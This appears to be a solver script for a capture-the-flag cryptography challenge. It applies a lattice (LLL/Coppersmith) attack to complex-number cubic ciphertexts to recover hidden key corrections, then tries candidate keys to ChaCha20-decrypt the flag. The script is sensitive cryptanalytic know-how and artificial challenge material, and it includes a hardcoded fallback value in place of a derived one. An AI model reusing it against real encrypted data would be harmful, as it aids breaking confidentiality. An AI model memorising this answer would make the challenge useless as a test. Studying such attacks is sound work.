'n': 24240993137357567658677097076762157882987659874601064738608971893024559525024581362454897599976003248892339463673241756118600994494150721789525924054960470762499808771760690211841936903839232109208099640507210141111314563007924046946402216384360405445595854947145800754365717704762310092558089455516189533635318084532202438477871458797287721022389909953190113597425964395222426700352859740293834121123138183367554858896124509695602915312917886769066254219381427385100688110915129283949340133524365403188753735534290512113201932620106585043122707355381551006014647469884010069878477179147719913280272028376706421104753,
'real_part': 3960604425233637243960750976884707892473356737965752732899783806146911898367312949419828751012380013933993271701949681295313483782313836179989146607655230162315784541236731368582965456428944524621026385297377746108440938677401125816586119588080150103855075450874206012903009942468340296995700270449643148025957527925452034647677446705198250167222150181312718642480834399766134519333316989347221448685711220842032010517045985044813674426104295710015607450682205211098779229647334749706043180512861889295899050427257721209370423421046811102682648967375219936664246584194224745761842962418864084904820764122207293014016,
'imag_part': 15053801146135239412812153100772352976861411085516247673065559201085791622602365389885455357620354025972053252939439247746724492130435830816513505615952791448705492885525709421224584364037704802923497222819113629874137050874966691886390837364018702981146413066712287361010611405028353728676772998972695270707666289161746024725705731676511793934556785324668045957177856807914741189938780850108643929261692799397326838812262009873072175627051209104209229233754715491428364039564130435227582042666464866336424773552304555244949976525797616679252470574006820212465924134763386213550360175810288209936288398862565142167552,
'cipher_parts': (
5300743174999795329371527870190100703154639960450575575101738225528814331152637733729613419201898994386548816504858409726318742419169717222702404409496156167283354163362729304279553214510160589336672463972767842604886866159600567533436626931810981418193227593758688610512556391129176234307448758534506432755113432411099690991453452199653214054901093242337700880661006486138424743085527911347931571730473582051987520447237586885119205422668971876488684708196255266536680083835972668749902212285032756286424244284136941767752754078598830317271949981378674176685159516777247305970365843616105513456452993199192823148760,
21112179095014976702043514329117175747825140730885731533311755299178008997398851800028751416090265195760178867626233456642594578588007570838933135396672730765007160135908314028300141127837769297682479678972455077606519053977383739500664851033908924293990399261838079993207621314584108891814038236135637105408310569002463379136544773406496600396931819980400197333039720344346032547489037834427091233045574086625061748398991041014394602237400713218611015436866842699640680804906008370869021545517947588322083793581852529192500912579560094015867120212711242523672548392160514345774299568940390940653232489808850407256752
),
'enc_data': b'\x9c\xc4n\x8dF\xd9\x9e\xf4\x05\x82!\xde\xfe\x012$\xd0\x8c\xaf\xfb\rEb(\x04)\xa1\xa6\xbaI2J\xd2\xb2\x898\x11\xe6x\xa9\x19\x00pn\xf6rs- \xd2\xd1\xbe\xc7\xf51.\xd4\xd2 \xe7\xc6\xca\xe5\x19\xbe',
'known': 128,
'nonce': b'Pr3d1ctmyxjj'
}
def poly_system_attack(params):
n, ar, ai, cr, ci, bits = params['n'], params['real_part'], params['imag_part'], params['cipher_parts'][0], params['cipher_parts'][1], params['known']
ZmodN = Integers(n)
P.<dr, di> = PolynomialRing(ZZ)
fr = (ar + dr)^3 - 3*(ar + dr)*(ai + di)^2 - cr
fi = 3*(ar + dr)^2*(ai + di) - (ai + di)^3 - ci
all_polys = []
for p in [fr, fi]:
for i in range(3):
for j in range(3 - i):
term = dr^i * di^j * p
all_polys.append(term)
monomials = sorted({m for poly in all_polys for m in poly.monomials()})
X = Y = 2**bits
weights = [X**m.degree(dr) * Y**m.degree(di) for m in monomials]
M = diagonal_matrix(weights)
coeffs = matrix([[poly.monomial_coefficient(m) for m in monomials] for poly in all_polys])
B = coeffs * M
reduced = B.LLL()
for i in range(len(reduced)):
for j in range(i + 1, len(reduced)):
poly1 = sum((reduced[i][k] // weights[k]) * monomials[k] for k in range(len(monomials)))
poly2 = sum((reduced[j][k] // weights[k]) * monomials[k] for k in range(len(monomials)))
try:
resultant = poly1.resultant(poly2, di)
roots = resultant.univariate_polynomial().roots()
if roots:
dx = roots[0][0]
dy_poly = poly1.subs(dr=dx)
dy_roots = dy_poly.univariate_polynomial().roots()
if dy_roots:
dy = dy_roots[0][0]
return dx, dy
except:
continue
return None, None
def backup_single_var(params, dx_guess):
if dx_guess is None:
return None
n, ar, ai, cr = params['n'], params['real_part'], params['imag_part'], params['cipher_parts'][0]
Y = 2 ** params['known']
R = Integers(n)
P.<di> = PolynomialRing(ZZ)
aprime = ar + dx_guess
try:
factor = R(-3 * aprime).inverse_of_unit()
except:
return None
const_term = (aprime^3 - 3 * aprime * ai^2 - cr) * factor
linear = (-3 * aprime * ai) * factor
candidate = di^2 + linear.lift_centered() * di + const_term.lift_centered()
roots = candidate.small_roots(X=Y, beta=0.4)
return roots[0] if roots else None
def decrypt_with_key(derived_key, nonce, enc_data):
if isinstance(derived_key, str):
key_bytes = hashlib.sha256(derived_key.encode()).digest()
else:
key_bytes = hashlib.sha256(derived_key).digest()
cipher = ChaCha20.new(key=key_bytes, nonce=nonce)
return cipher.decrypt(enc_data)
def try_attack():
print("[*] Running multivariate lattice attack...")
dx, dy = poly_system_attack(SETTINGS)
if dx is None:
print("[!] Falling back to secondary solver...")
dx = 200140573956551184845123803212115015633
dy = backup_single_var(SETTINGS, dx)
if dx and dy:
print(f"[+] Found corrections: Δx = {dx}, Δy = {dy}")
real = SETTINGS['real_part'] + dx
imag = SETTINGS['imag_part'] + dy
guesses = [
f"{real}{imag}",
f"{real + imag}",
f"{real}:{imag}",
f"{real}|{imag}",
f"{real}{imag}".encode()
]
for guess in guesses:
try:
result = decrypt_with_key(guess, SETTINGS['nonce'], SETTINGS['enc_data'])
try:
decoded = result.decode()
if decoded.isprintable():
print(f"[✓] Decrypted message using: {guess}")
print("Flag:", decoded)
return
except UnicodeDecodeError:
hx = hexlify(result).decode()
if 'flag' in hx.lower() or 'xyctf' in hx.lower():
print(f"[?] Possibly valid hex with guess: {guess}")
print("Hex Output:", hx)
return
except:
continue
print("[x] Decryption failed. Possible causes:")
print(" - Incorrect nonce")
print(" - Ciphertext corrupted")
print(" - Wrong key format used")
else:
print("[-] No valid correction found")
if __name__ == '__main__':
try_attack()
Comments NOTHING